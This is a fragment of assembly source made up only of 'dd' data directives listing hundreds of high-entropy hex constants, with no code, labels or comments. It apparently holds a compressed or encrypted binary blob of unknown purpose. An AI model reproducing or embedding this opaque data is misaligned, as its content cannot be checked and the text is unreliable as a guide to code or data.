dd 5E80B451h, 0E9006146h, 0BD100F5Fh, 9ABF3D79h, 825DD6Ch
dd 4430ABA9h, 143F9A18h, 9C7D6E56h, 0B4AEFF14h, 196C200Eh
dd 68B72DBEh, 0B1D09E02h, 0C9085C1Dh, 0C552BC54h, 61A3C424h
dd 0B6D8A148h, 2280B052h, 46B5795Ah, 0DB7AEB48h, 55480DCh
dd 254F8335h, 50EF786Eh, 0C821F141h, 9FD85E70h, 0BE75DC18h
dd 8AF3B16h, 0A305D80Bh, 3AB69080h, 0E50B4821h, 4509A25h
dd 12DF9E09h, 919C5609h, 0CF505082h, 0F0F3B141h, 4AF396E0h
dd 0C13CC2E1h, 1160147Eh, 0BDEBDD65h, 0BD4070C0h, 57FB4614h
dd 759C01B0h, 0BE1CE187h, 0E99430h, 811AA9F8h, 162DE74Dh
dd 0C5886F63h, 0ABCDC036h, 0A510C494h, 1278B83Eh, 0A4B25233h
dd 0CCAC0200h, 72FD5A12h, 6D4440F9h, 6717F5C9h, 3804C0B5h
dd 0A3016E62h, 80521BF2h, 0A5A7FEC8h, 0F8BB3EECh, 51D72DFAh
dd 38401C5Ah, 0E4A495EEh, 108450D4h, 71255D3h, 9014466Fh
dd 96037923h, 0FB9CB377h, 8474D1D7h, 0A5818F40h, 0A0BF52F2h
dd 983C3014h, 0C735F482h, 0CD91D056h, 8CF24Eh, 6048D2B8h
dd 362371h, 3E285906h, 5D5E0724h, 0D3EC7C0Bh, 945679h
dd 884CBB85h, 0B6519401h, 417C00A8h, 0C225792Eh, 20DC6C92h
dd 4DB54340h, 27544A18h, 22CE94CDh, 56C1BA12h, 10DF40B8h
dd 7B00CD27h, 3F14CBFAh, 0F095607Ah, 0EF280C72h, 83301F43h
dd 0FFF442B5h, 2439803Dh, 460878ABh, 0DB730585h, 55ECB466h
dd 9BE9A4ABh, 0A2307363h, 0D2893060h, 1CC8694Ah, 0FD303F4h
dd 0F6D1DF50h, 4379B288h, 0A767B43Bh, 0D8607BB8h, 0D04F06Ah
dd 0D2D1EBF4h, 7C92C109h, 74B7FFh, 5A954A5Bh, 2E28A630h
dd 1E95B45Eh, 0A06DBDB0h, 0D1CC03C2h, 0BC100194h, 0C5811131h
dd 0B7C7E45Bh, 692373Eh, 0BE069FB6h, 97450029h, 0A9D328BAh
dd 0D425FA83h, 5A707848h, 1210B215h, 0AC613279h, 162B3F28h
dd 804CA9C4h, 257248B0h, 0B6DB010Ah, 235E55Ah, 5C3B7E7Bh
dd 443213Dh, 85F795FEh, 76ACB8ACh, 0D0A4EB4Ah, 1949121Dh
dd 23A43A6Eh, 306C03AFh, 0E0B6BA76h, 625722h, 0E71CE0A1h
dd 0AE788472h, 65639D00h, 0A5AD06Bh, 40160173h, 0CC7FD6A0h
dd 251C7C77h, 11FC6569h, 81E412ACh, 6B4F0CF3h, 7F640114h
dd 0B05835FBh, 6A83708Ch, 0B4022521h, 9C5149Dh, 477CDC99h
dd 0D08E004Eh, 0F907240Fh, 0A7A2E8AEh, 0CF1FEB97h, 0D69B4041h
dd 4A36F480h, 6B60CD63h, 7D670C04h, 5A44AC12h, 6C8820A2h
dd 467424A4h, 0B3590084h, 4AB7D7D8h, 95997733h, 3946D098h
dd 0E8EAE92Ah, 12245D16h, 0DB184482h, 0B4C870ACh, 45B7A012h
dd 28B1F805h, 0FE104EFFh, 0F4A14AB0h, 0E04CB62Ah, 0A473DEh
dd 6430F922h, 0B65631AFh, 0C4600595h, 44013ABh, 0AD63B5A8h
dd 7E6010E4h, 0C85CCA93h, 0C314C07Ah, 90EAC5E7h, 654AF0B2h
dd 167D20A3h, 0ADB3F301h, 0DCE6D764h, 96B7AEE0h, 0D771C310h
dd 0FC416B0Bh, 467C50D4h, 92451D84h, 0B8DE4641h, 3830C911h
dd 0BF38E637h, 500150B7h, 6BD554D6h, 3CE0E330h, 10801839h
dd 9DA13FC0h, 0AD38BD68h, 79C48F69h, 0F7C9E348h, 9FCFE856h
dd 0E48C9519h, 5A093FD0h, 9865D2FAh, 0F58CBB4h, 67F93DBFh
dd 779A8221h, 8F61C2AEh, 0C4307F78h, 4FEB948Fh, 0FE84D4F9h
dd 4569020h, 450D6B9h, 472C22Ch, 4ADEAA5h, 0E04CA64Bh
dd 79E78DC4h, 9A690B86h, 285666A5h, 60086F25h, 8BD4252Bh
dd 0F09C6F00h, 41E981C9h, 491A09B9h, 0DC5B4B28h, 25945125h
dd 0A4911017h, 42062D80h, 343DB414h, 894CB94Dh, 0F81322A5h
dd 3AE74E8Ch, 0D023DCh, 12A969B0h, 0C01268F0h, 7C903879h
dd 0E97701CBh, 8378DC2Bh, 0C0C06BB5h, 125A046Eh, 0E1FF8C60h
dd 0A234330Ch, 0B6DC30A3h, 78F1EF02h, 0E96E57BEh, 0F838BF0Ch
dd 28657B80h, 1301CCD6h, 0D3F9219Fh, 2E444Ch, 763FA01Ch
dd 38C162CEh, 29CD09C0h, 84C48F2Bh, 6E376ED2h, 0B5802A4Bh
dd 0C2796894h, 8DD79500h, 7A16036h, 4699C0B1h, 30C69289h
dd 93B4B900h, 529BBA36h, 0B7AA1537h, 41BC8848h, 5EAA4804h
dd 908C3477h, 81E32496h, 62B929Ch, 39BCFBE4h, 9712F498h
dd 0B48828BEh, 809E2686h, 279C008Bh, 1A1D6B8Eh, 14B77400h
dd 981605Bh, 0C8F50E22h, 7324F7FFh, 0D2C8BC55h, 86F2A0F2h
dd 1EB6430h, 503B727Dh, 24BFC5E5h, 282C1BFCh, 0B96D60F3h
dd 0DE6C886Fh, 7D343901h, 0F23FBCD6h, 32948A2Ah, 0FF57698Ah
dd 0AD2EC8A0h, 65004E22h, 3BB8D4D0h, 9E8CEBh, 3CBBCDCFh
dd 7237BA61h, 0DB91A917h, 41F71488h, 943B2A53h, 0A828E9A5h
dd 7F052F1Ah, 1070D4F3h, 7D790BC2h, 0D48ECBFEh, 1278B8B5h
dd 0AC63459Bh, 2124A274h, 0EAD0751Dh, 0A451B05Ch, 5882C1B8h
dd 0D44C9B49h, 7369E854h, 578873BCh, 1F00FC02h, 0C334EBCFh
dd 16E00C1Dh, 0A941A54Ah, 0D87BADC0h, 46001B98h, 80E1E43Bh
dd 253C7F53h, 0F84E8F92h, 0A25E70Ch, 0F0F11878h, 3BBB2D7Fh
dd 0B67834DBh, 59C201B0h, 561786E0h, 3968D429h, 2973F030h
dd 1ED3FFC9h, 32AA87Eh, 27903718h, 0A46AD900h, 6EF39B41h
dd 55D400B3h, 63DF99DDh, 0F54BCBF6h, 7F624082h, 9402681Ah
dd 39068E52h, 4E3F1550h, 0A74AE084h, 0F4B64F40h, 0E280F8A2h
dd 0A577FFC3h, 0A20F0216h, 0AE31DC80h, 2530941Ah, 0B2278446h
dd 104CD9BAh, 65CE82F2h, 54AD42E2h, 38746974h, 0F52100DCh
dd 84341B8h, 70286D64h, 1D5C6CFFh, 50552D14h, 18E597ECh
dd 0F06063E4h, 6B25305Eh, 70D8FB8Fh, 7D059DA8h, 0B5FBF618h
dd 4493ACA0h, 0CDA07B2Dh, 8800CAD9h, 79CD8430h, 0FABE3C5h
dd 58090B08h, 1B6039E2h, 17EBD056h, 81AA1140h, 0A2C3CEE7h
dd 5A34DD6Ah, 127CC0A8h, 90424364h, 0CF90072Ah, 32E5EA25h
dd 465586FEh, 801620ACh, 0C29D54ACh, 243A7D8Ch, 1550107Bh
dd 0F9124F2h, 70830FACh, 0D8AA0090h, 0C3AFC4BEh, 5E30F4Dh
dd 96E14550h, 2BAE03FCh, 10095435h, 29C0161h, 6F3FC695h
dd 0F86D1254h, 4D8E10E2h
dd 80903B90h, 3EF7B980h, 0BF5BF97h, 1703490Bh, 9CD37CABh
dd 7DFE4E70h, 0D3370BD4h, 70565BEEh, 805835EBh, 1B8141BFh
dd 98023908h, 0F3D7A7A8h, 25F85667h, 6F45C7Ch, 56AB110Fh
dd 1D7BC167h, 17F63201h, 0E5D107E1h, 3E1869E1h, 4A55764Ch
dd 0A51620CAh, 0A2B4A847h, 0BFB0204Ah, 41825AE2h, 39A7C194h
dd 2993C0F9h, 0FBA010E7h, 2012CCDAh, 28E24C3Eh, 5B2590C0h
dd 4D958309h, 44D3C0B4h, 4700FC2Ah, 0DB72A207h, 4E3FEBDCh
dd 0C5289A1Eh, 20AA35C9h, 0C279CFA4h, 3C04FB58h, 4E184081h
dd 34CA2A8h, 9BBEBAF0h, 752AE85Ah, 77B10B96h, 48582745h
dd 2211CB08h, 0CDB88217h, 0F0D869DAh, 60204D97h, 53B22E84h
dd 0A7542002h, 550987EAh, 4D40584Fh, 0F8F8C737h, 68811CE4h
dd 27AE6EC9h, 0B7BD7CF8h, 6C6A00C8h, 2735EBF4h, 36BC7CA0h
dd 0EF186F00h, 0E548962Ch, 0EDD0A29Fh, 0FDCEB4h, 8FF33221h
dd 50099FFFh, 0D6A491AEh, 0EE5D128Ch, 3A00287Ah, 0E184F87Eh
dd 4900EC68h, 0F2D61291h, 4C03FBF1h, 408180A4h, 90A3E909h
dd 5C625670h, 0A3779C57h, 0A233F378h, 40B7DD6Fh, 759EC381h
dd 0E013503h, 0EBF6005Bh, 0F2E4F41h, 620B4E20h, 467E8854h
dd 0BDA505A3h, 0D88092F7h, 0CB4F3EA6h, 5002FF50h, 46556770h
dd 0B3720710h, 63CCF7A5h, 93D71D6Bh, 3BE0258Bh, 0DF00D789h
dd 3D76EEC7h, 0BAAF5322h, 10469574h, 0C9703Ch, 0E22C50BBh
dd 2507A8CCh, 0C8653937h, 250BA1B9h, 3BD4947Eh, 21874532h
dd 0A292C84Ah, 6055D4BAh, 16D0BE30h, 80A1FB6Dh, 0CA7746F4h
dd 4AF45040h, 2BA8CDD7h, 33E090A6h, 8E04371Fh, 0AB23F1C3h
dd 0E6F40413h, 0B9680189h, 0AC223279h, 55CA4101h, 3C8B3F30h
dd 30EEBDF4h, 1A12FCDFh, 61AA41A5h, 7DE57030h, 0A31F1384h
dd 0F6892497h, 534ADC04h, 0A50EB4A3h, 41927322h, 1C383B8h
dd 38022F27h, 0F05BCD09h, 0F14D2EFCh, 9361118h, 527FAC83h
dd 0ECAEB50Ch, 106601BEh, 8E738308h, 0E071F7A9h, 12337FBDh
dd 0D785028Dh, 0FE701920h, 7CA6B45Eh, 7A8A08h, 90398F4Bh
dd 8001B2DEh, 0B39FA32Eh, 718174BDh, 0EB105F24h, 0B4122BC2h
dd 3AA55404h, 5B4A212h, 551321C3h, 1EF9DC41h, 812A08F4h
dd 61C44584h, 0A3C884AEh, 7495C71Ah, 960588FCh, 0FFDE51CBh
dd 410B452h, 94007354h, 7988B2ADh, 4B802FF4h, 188F26Eh
dd 823F1FCCh, 6E4D31Eh, 505D006Ah, 59F4489Ah, 0F7136E7Bh
dd 0C0C8C405h, 5894023Bh, 783225E7h, 5F5A18DAh, 0E3FF5C02h
dd 0AD4640B8h, 712F04BDh, 93EE5630h, 0F397ECC4h, 20F03CBBh
dd 49B5B6C7h, 0E8166C60h, 83F4FB54h, 66C8D454h, 0D63DE70Ch
dd 0F6F27187h, 50E08256h, 0B95F1FECh, 0B39E7030h, 0F46944A6h
dd 920CFB58h, 4000ECA2h, 2B64E4D6h, 0F5129E1Bh, 0A0A8CE4Bh
dd 20079D22h, 0E73C9125h, 6EDA2D11h, 7E80188Ch, 43003D59h
dd 20294B3Bh, 65C0AAh, 0F07D2A3Ch, 30BDFC79h, 964B4F79h
dd 0F4158080h, 0A3915A29h, 9A73108Ch, 8C6BF8h, 945445D6h
dd 4D6CE133h, 0B9368C02h, 0D265A657h, 481C9828h, 0CA108446h
dd 673087Bh, 19EE0071h, 517D5448h, 420AD4A0h, 0B9841F88h
dd 6F2CD08Ch, 39E21786h, 0E7B420E8h, 796547CDh, 4CC1B478h
dd 5424C409h, 5EACBCF8h, 0CE0E7846h, 0BC97DDD8h, 8228814Ch
dd 0F570B72Ah, 236B0255h, 56BCD3CBh, 9E80D07Eh, 0D1F1E47Dh
dd 637328h, 0A2A13A76h, 62E5DB09h, 0C5277590h, 20B73Ch
dd 208FD9E5h, 0D61786E7h, 8CFC5B2Fh, 0BCACBCF5h, 52138C60h
dd 85CF30Bh, 581CF3EDh, 0B0991C9h, 54CAF55Bh, 0B7F4F70h
dd 98FEE004h, 911095EBh, 313F81AFh, 176A2EBEh, 587CF724h
dd 8CA7B810h, 129D0E1Ch, 0DB938F81h, 0F22FE5E3h, 87007344h
dd 5282F266h, 7C6499h, 9BA092E7h, 5B393276h, 850475F4h
dd 0B853F2A3h, 0AD94FC13h, 89709B3Eh, 108FC83h, 0EF22BDA4h
dd 58222BB4h, 4F5FF6h, 0B8B0F260h, 1CA351B3h, 803C092Fh
dd 305B45Ah, 0CB627288h, 48F897C0h, 0C56F4A33h, 0ECC8F8ECh
dd 0FB0F8C78h, 0B34D610h, 0FB4C8B18h, 0D0CD25BCh, 9A0B640h
dd 2DDCB099h, 0E4515497h, 243CA8CFh, 5ABE0844h, 0DBF5C902h
dd 9414557Dh, 25BC0121h, 6191C895h, 5772980h, 0C34BF6FBh
dd 274F80E9h, 0C89CA0E8h, 322D58A7h, 3A0A018Fh, 282EB815h
dd 89D38B08h, 9EB87CF9h, 52E69000h, 331AB02Eh, 275175D8h
dd 24D8E257h, 0B34C6BFh, 918391Bh, 9040B880h, 6D9D9234h
dd 0E2F9C490h, 0C02500F0h, 8562B1C4h, 4D2D017Ch, 646B9A3Bh
dd 0D3B442F0h, 732D1056h, 793B708Ch, 49883EEEh, 5FBD17E6h
dd 0D6D4F866h, 96B8E4F9h, 0C8350E12h, 6980A4F8h, 52D062C5h
dd 0F7868E00h, 0E87FEEB0h, 0E9CD097Dh, 3D77A5ABh, 0C22E0E7Ch
dd 8CF73985h, 3A20356Ch, 9FCFFA7Fh, 0CC009844h, 63F97D84h
dd 6A3F1h, 52DE461h, 9609264Fh, 0F918CD2Dh, 69688030h
dd 3F319FCEh, 902F8B4Ah, 0FB251523h, 0FFC880F8h, 0E5059297h
dd 4F95C558h, 0EDE49810h, 1E2430DEh, 0EF47A507h, 0E7002636h
dd 0B07493BCh, 0DF812F20h, 2EB1E8E0h, 0A5065902h, 7FB82B02h
dd 0DCFE08BAh, 410B00DCh, 8A365832h, 0CD12A124h, 58ADB9C4h
dd 2FA82CD0h, 46256F43h, 7502E84Eh, 0A631A390h, 56C048F2h
dd 3BB94B37h, 6B235Ch, 1D47F637h, 96016ECEh, 3F2A5B2Ch
dd 4C2E80BEh, 90317AC0h, 0C7A73000h, 0E09D1FAEh, 0AC9B124Ah
dd 409CE3A2h, 5540FFACh, 39DF06h, 1D44F29h, 2E12E47Ah
dd 4BFA97FEh, 2454DD20h, 3AD4467Ch, 0E01E0035h, 60EE5ACBh
dd 0EAA50908h, 0F4485F8Bh, 0A1EFD7Bh, 6427A34Eh, 662900ECh
dd 71DE4B95h, 6A2524F5h, 7E3891ADh, 72ACF4h, 961E0A2Dh
dd 267CFE6Eh, 8C883B00h, 8DDA4197h, 0B00622C4h, 1535621Eh
dd 0A15D8743h, 0D190D86Dh, 0C167163Fh, 0D250ADBBh, 1CA83CFDh
dd 0D257FB16h, 4F0644ACh, 506AA3CCh, 6882AE5Bh, 2ABCE068h
dd 0F835BF05h, 3F7C0C80h, 2540960h, 7077F86Fh, 989307BEh
dd 6AE1B5F0h, 0C905447Dh, 0C0E27310h, 0D95E8030h, 9B750099h
dd 47ABE157h, 1C9EA277h, 0BCE7C412h, 80BC9A5Fh, 22F689C3h
dd 0EB1A2733h, 66037878h, 77206986h, 7C75D8BBh, 28CFE239h
dd 4BA0D88Ah, 0C198F8B2h, 0BE2BEAA3h, 6012AA05h, 0E0B030A7h
dd 121641A0h, 54308498h, 76295B1h, 0B8B7B3AEh, 6B280051h
dd 21C06E57h, 0A8937713h, 0D1240096h, 0B4467D86h, 6C03CE41h
dd 0B3AF3242h, 388900BDh, 1128A9C4h, 8B2525EEh, 0A48C59E8h
dd 22F90404h, 0F280B219h, 0B6E1302Eh, 4C8985Ch, 0FBCA09E8h
dd 3A9429ABh, 8223B02Fh, 0C13D6E00h, 58636942h, 0D42CDE94h
dd 5002673Ch, 0B7296493h, 5F364000h, 0F8C1FB9Ah, 4BE774A7h
dd 22F08A7Ch, 0CBF40B81h, 84ABDC89h, 397CF0D2h, 79238BCh
dd 67144820h, 0DA5F3A94h, 6821D209h, 0D2B03755h, 2E78C455h
dd 2F32344Fh, 21913C9Dh, 0E3AD5F80h, 561231E9h, 80067A2h
dd 774655BCh, 808BB5AAh, 1BEA30B8h, 0B4B68CBAh, 0A00A01DCh
dd 55C4B36Bh, 0A86D93h, 87280E46h, 3C447181h, 102730Bh
dd 0A735DA54h, 6E7E80C0h, 0CA2AC481h, 0BEDC22BCh, 1A00DC5Ch
dd 1DE16431h, 5F3A563Fh, 1B48DC5Fh, 0A722A33Dh, 0C1F0814Ch
dd 0C13B4AE8h, 6366F8h, 0E9C679CFh, 2E82D1B8h, 7F76E68Dh
dd 9ECA7CC3h, 0C3C0A35Fh, 805924AFh, 1D671168h, 3C421A9Eh
dd 0E21B3642h, 0C018D5C0h
dd 682E9718h, 923B7061h, 0A8ACC08Bh, 146AAF93h, 0F39EE002h
dd 167FDE49h, 7B9DE8h, 39D45359h, 824709E4h, 0BC560735h
dd 0B2491D60h, 28B097F1h, 3141C9CBh, 0BDAEBEDCh, 0C3F64C00h
dd 49B5DFD9h, 0C1172BB8h, 3AC781EBh, 5C237C9Dh, 903383A2h
dd 233700Fh, 0D72921C7h, 80556614h, 7B5E2490h, 2E7FEFAh
dd 0CBF5D868h, 22FFD38Dh, 0A9C1312Ch, 38357D94h, 543A3E80h
dd 3EBB3F9h, 4B7FB028h, 0D6D8F3FFh, 0A3135876h, 50BCF6E9h
dd 5498E88Bh, 8100B65Ch, 0EE5765C1h, 1F6C55D3h, 413178A4h
dd 0F34D2DCBh, 5398A562h, 408370C0h, 29FF8C00h, 0E5756254h
dd 9793F4C5h, 99FFC03Ah, 803A68C4h, 0A994CCECh, 2CD06AEFh
dd 5034F41Eh, 5D42C46Eh, 53BCF85Fh, 0B8C21000h, 0A1E279D3h
dd 92CFAAAh, 940DBFACh, 41891CD9h, 0A7C47350h, 7D4FC7Eh
dd 3A81E02Bh, 0D80BD0C1h, 44BF1D4Fh, 0FA120008h, 52E1E2Ah
dd 0BD09499Ah, 81C0E93Eh, 0C690F748h, 1FBF6908h, 80AE1104h
dd 0DCE291C0h, 5ADD1F1Eh, 923FCAB8h, 0BC4DADA4h, 96DC98C0h
dd 51930331h, 3635E7E4h, 26EC29C5h, 306F1E8h, 4FEA8430h
dd 0C818CE4Fh, 2307C079h, 0AF13B877h, 0C02863CAh, 466B58Ch
dd 465E7C94h, 9B080117h, 42B2D781h, 3D40E0ECh, 70D8E27Ch
dd 5B310510h, 0A49BD808h, 272511E8h, 0CB05018h, 0A80701C3h
dd 4AF69F88h, 3F4A6574h, 0FED2D0A8h, 803FC6Bh, 0A1C1E803h
dd 395BA7E0h, 0EC41F24Eh, 7637CC47h, 4812AB04h, 2546EFFh
dd 0F4112E97h, 0D0455529h, 15F3F682h, 5D52223Ah, 7BE9C300h
dd 9EF0C9B7h, 84060F6h, 0A4DEF3h, 0D1CCFB49h, 7AB7C84Fh
dd 0B9FA3B28h, 1AA930C0h, 120FBE75h, 0E62EA519h, 1D0CE044h
dd 59C6008Bh, 22A54ED8h, 6CB7AE33h, 2AA09E8h, 60E9873Dh
dd 560451BBh, 1C003EECh, 23220710h, 0F505146Dh, 1D79C457h
dd 0C0E08046h, 0E33DD076h, 0FC0003DDh, 0EE9E9266h, 0E24633h
dd 30F047AAh, 323E978h, 9FCFC900h, 6B602DE3h, 0C31300C0h
dd 2F64096Ch, 0D0061F7h, 9A29FD4Dh, 0F4E2558h, 0A7EBC9FEh
dd 951F32h, 1178FC4h, 5558D76Ch, 0ECD90390h, 0D054B3C7h
dd 0BE5F98h, 458DC890h, 15C33572h, 3D78D9FEh, 0C6DF7100h
dd 0C822E0E5h, 7C120BB3h, 1500C519h, 6E02EC0Ah, 71ABBA00h
dd 0E2B4599Ah, 0E0F300AEh, 8E611B0Bh, 930368B8h, 677EA77Ah
dd 113C8810h, 94C30CF9h, 9968172Fh, 4796A200h, 6C406D44h
dd 0A81454E3h, 0AA60001Dh, 16BDA0ADh, 0FC001B07h, 8C0CC10Eh
dd 7D8AC5h, 0EDEC6DEAh, 0F3D25617h, 0C31E231Fh, 44C0125Fh
dd 982A4171h, 5258C13Ch, 30190DFCh, 7B523022h, 72AD00E0h
dd 0DF1674C6h, 282300E4h, 0C00BFD2Ch, 0F2001535h, 48C3C271h
dd 3108C94h, 28E66B32h, 67F893C4h, 8D002CA3h, 1B54B820h
dd 1AC4CF7h, 8A6DC189h, 0DC50D424h, 1D00FF2Bh, 6B1933DAh
dd 7953A62Fh, 47201DFh, 0D4AB752Ch, 84002AE6h, 39479463h
dd 0D372A1h, 1E5FA523h, 0BAFF9B9Dh, 0A7F28200h, 2D276E46h
dd 0F62900C8h, 0A64971F7h, 0F90058B5h, 929FB083h, 1C7FF41Ah
dd 0F0B157h, 93046F5Dh, 0D1122716h, 18006E78h, 0B8F4CF73h
dd 70536520h, 1439C0B2h, 450218FDh, 0AC7DE9F8h, 8C94A6E6h
dd 8F9500D8h, 0F2AD84F6h, 0C9004B97h, 98BE0F12h, 3BD026F3h
dd 18007450h, 6FDBC69Fh, 0B80071FDh, 0DFC5083Ah, 500ACCC2h
dd 74FCE0h, 0D1FC2805h, 5FFEDC48h, 1CECA201h, 0DA4EBB26h
dd 0E8532ECCh, 1C90FBh, 0A9FCC5E0h, 138BC42Bh, 0D2630D00h
dd 0DD1D7AF9h, 46530060h, 89474A62h, 2B18D7CBh, 0DB68F1E5h
dd 7BFC01A4h, 0F62B7DDh, 0A2D8BA5Dh, 0D8525360h, 3EC4C807h
dd 6CBB83FCh, 22208FA7h, 0F740B5E0h, 52CB5E00h, 681061EAh
dd 779D014Ch, 0A589D8D1h, 0BCE4E462h, 0CA1202F6h, 0B007E65h
dd 0A0E98054h, 57810ECFh, 4C63252Ch, 0EEC0A708h, 22007DA9h
dd 0EA6E609Fh, 603BC63Fh, 7058612Ah, 87D5580h, 0B817B0C4h
dd 9F725940h, 63E49899h, 0D62E7F0Eh, 0AC300FCh, 0EFEC1Eh
dd 9FD82AD9h, 0C9154167h, 0B8558B00h, 0E2A7BDBBh, 0DEB50053h
dd 4DB645FEh, 2200C77Bh, 596B1E71h, 519555Bh, 439492CEh
dd 0BD8C8087h, 6A70E9C2h, 0B9B4B70Bh, 0E7E40F95h, 14C7DBA1h
dd 0A5B0B301h, 4077199Dh, 0B1D966DFh, 8B038FBDh, 47D0994Ch
dd 12204894h, 9775A100h, 56D74F80h, 0ACEA7615h, 3E593FD0h
dd 0DCD180A2h, 572EB2Eh, 0E9241DD4h, 54C1406Bh, 1995A177h
dd 0A7374800h, 0ECD7E6Dh, 0C3120042h, 0DF67AB9Eh, 4E6050Dh
dd 0F97F770Fh, 68138030h, 62FAC5h, 4827AC81h, 6F261DD3h
dd 2C6BC000h, 0FDEABC9Ah, 0FE9305CAh, 0B0821306h, 7500C07Ch
dd 9741CDC4h, 0A781A91h, 6E774AE3h, 2C0C81D4h, 4021990Dh
dd 715D73A0h, 3C188676h, 7D403E03h, 0E42C001Ah, 12F50E29h
dd 0FB0001D9h, 49DB1365h, 2DF8589h, 0F19FA33Eh, 0D6809E6Dh
dd 4F0EC8F8h, 5F29F900h, 5C49E4A7h, 73190138h, 0B8B5B451h
dd 4210805Dh, 839157AEh, 0D4A902EAh, 8A09CF3Bh, 881B8C81h
dd 0DF39801Dh, 0AB440C0Ah, 0ECC50092h, 9D35A15Fh, 0F6A112E2h
dd 9BB2052h, 85B8FB7Dh, 9231738h, 20150A7Bh, 0E0D63D3Ch
dd 4B910041h, 4E9A4AC8h, 0D5002974h, 53A13867h, 1FD1F2Dh
dd 65136AFAh, 0C861DA1Ah, 2A0021D7h, 77483DC9h, 3A2BDFh
dd 2456B20Dh, 533CA49Dh, 0C837041Eh, 0EBBFA5C0h, 0A3862Bh
dd 5E07D960h, 0E3301802h, 9268550Eh, 4E6CE050h, 38FD29E2h
dd 3100AFE1h, 0AE4F5BCBh, 124C62DBh, 9346018h, 396099A5h
dd 4D097759h, 0AC54D088h, 3E50E580h, 90FA1BB4h, 417B00A8h
dd 0AAA86067h, 0B301A101h, 554F6CF7h, 34E43BD2h, 0A2062CD7h
dd 2EAA0A0Ah, 750801B0h, 40F8C00Eh, 375A3EF4h, 80838539h
dd 0A06B0D88h, 33861FDh, 8B40E029h, 518F9379h, 405559F6h
dd 0F184AEB8h, 40CFA03h, 0A8B68564h, 3EAA46ECh, 563C1250h
dd 8152EB80h, 1395F626h, 0B1C8CA00h, 5D9EE785h, 0D3D70368h
dd 0C4DA4305h, 0F1F461F8h, 0D0A3E78h, 0FF062976h, 0E79D1D00h
dd 32C165h, 1C4FA7D0h, 2C1364B7h, 1298A500h, 26CD11E2h
dd 14D81747h, 6A340061h, 74191FB7h, 55EE3F0Eh, 60046003h
dd 373ADBCh, 0E4BD5887h, 8AA07A70h, 4C0789EBh, 0E82AC0D0h
dd 84CC48D0h, 653802D2h, 9BD832ECh, 0ACAB43C0h, 0B679B900h
dd 0B2DE8845h, 1EEC01EFh, 0A89B8636h, 0E7A93078h, 0A2D2A00h
dd 0CCEEB048h, 0F8DA389Dh, 0D3DF6438h, 75F85400h, 0FA073CC7h
dd 1083BAB8h, 8B7C0BEh, 5F02A6h, 61DAF23h, 633ED1D8h, 58D3F614h
dd 62797AB1h, 8B0D9000h, 9E32BCDCh, 38AA00C3h, 0F66F8EA4h
dd 0FE4B3913h, 0EE17B0EDh, 3A94D01Bh, 0AA1D8AC7h, 0AF1DD731h
dd 3FEE9A05h, 82D4101Ch, 7AE8041Ch, 0ECFC145Fh, 110A613Ah
dd 10F039h, 0B1BC19ECh, 26B852A3h, 0C3007B74h, 0B2657F23h
dd 0DD226Fh, 0FFDFB006h, 0C2769695h, 3A81570Fh, 0EE3D003Fh
dd 0F6CA203h, 80B9A7FEh, 3E9800FFh, 9DF8979Ah, 0BA5E86E2h
dd 0DF305400h, 7BCFD8Ah, 6B546ADCh, 515220BBh, 490024CCh
dd 0A3777D32h, 19AC2C5h, 0D4C343F4h, 9FA56466h, 48826A98h
dd 0D23CFBFFh, 7228373Ch, 44F180C8h, 93AC2DCh, 0FDC6004Ch
dd 5E563CFCh, 60B50083h, 0BF054321h, 6B016612h, 70D51E54h
dd 806FF258h, 988333C4h, 8696B500h, 0A7DED863h, 0FE21011Dh
dd 2BD1668Dh
dd 0A3F8CCA2h, 28F30F01h, 0D32EF10Bh, 337F4h, 61DC2094h
dd 0C6796A29h, 1D2D709h, 0B83ADF39h, 1D483557h, 0FB9652A6h
dd 0E4B4440Ah, 9D201E80h, 956F0521h, 39004844h, 152C8BADh
dd 784ECEh, 9456D144h, 846E0703h, 4C2FB84Fh, 0ED00D023h
dd 558A15Ch, 0CFEA09A7h, 57473Bh, 7A5A1E20h, 0ACF095B9h
dd 0C3A06D97h, 0C98028CAh, 0A809E1E5h, 0E876AECFh, 0D0C712ACh
dd 54800808h, 0ACBF6D63h, 0C4CBB304h, 1EFB6E56h, 350322F4h
dd 0F2EC83FEh, 0E0BE80DFh, 0D4600E1h, 0C9DAA133h, 0B0092177h
dd 0F7A86F93h, 27C61085h, 9FFFF0D0h, 98A04BAAh, 0DF4F22A3h
dd 34BFF484h, 66C0043Ch, 1C9DEF15h, 0A084A63Eh, 2ED46255h
dd 9C3042Bh, 545B39h, 0D80A5943h, 393E7440h, 69807F3Ch
dd 39183D58h, 1A3C3420h, 0D93A03BBh, 0D82F601Bh, 42B21FCh
dd 0CBEC6798h, 0B83C9325h, 0D2FAEAE9h, 4676245Eh, 2FAB0017h
dd 444777DBh, 97027A80h, 0C806E437h, 278AD362h, 38A091C6h
dd 490C7ADBh, 474F7100h, 27BFB121h, 5C729D68h, 0FB8B3F25h
dd 11C670A4h, 12746E39h, 12BE65F3h, 0C930FCD0h, 628A0C9h
dd 0B526B107h, 0CF7D4896h, 84B9134Bh, 681C7ABCh, 43013347h
dd 0D77BF048h, 0EED6D892h, 6328C020h, 949E8A3h, 758C8F56h
dd 36521C80h, 6D127014h, 740930B8h, 4E5CDEA8h, 427DF867h
dd 0E4756899h, 736E0044h, 9BAC55FEh, 7A01F705h, 0F61B2818h
dd 0C16BC5CBh, 7EBCB2A4h, 2857344Ah, 2799C200h, 5B637FC1h
dd 2E00F11Bh, 2EC87C8Fh, 86B2C9C0h, 563F08AEh, 0C0027F8Ah
dd 0DF09EBFEh, 0F4BE0094h, 6ED52156h, 26949080h, 2B5E303h
dd 0A6306647h, 147569DEh, 0D610B624h, 1075A600h, 0C35DC5D4h
dd 83842D79h, 2C88B497h, 0A515606Fh, 0CD120965h, 60A379CFh
dd 0C6ED2B1h, 23AD001Fh, 0DA3E7B11h, 0B605CA79h, 3989FBF6h
dd 0E22C44AEh, 1560444h, 2C47F890h, 789EE94Ah, 24642D48h
dd 0C2D2B700h, 0A059857Fh, 912D000Dh, 0B9C0ADFh, 0CB4EC167h
dd 88EB58A4h, 0EF20F2A3h, 0C5E50949h, 10DF904Bh, 5BA51A5Ch
dd 6228F266h, 0DF471E86h, 763128A0h, 10C46BEAh, 0C1EF062Eh
dd 6B5C13E0h, 0E901A424h, 78764E31h, 512F3981h, 0A763424Fh
dd 100044D9h, 13779FC5h, 4CFBEAA5h, 7E210748h, 11FF6B01h
dd 0CDE10FE4h, 5628C26Fh, 1F00E8DAh, 8C57F9EAh, 0EA450632h
dd 54870095h, 68F0CB8Ah, 3535C02Eh, 18A03892h, 4E2940BDh
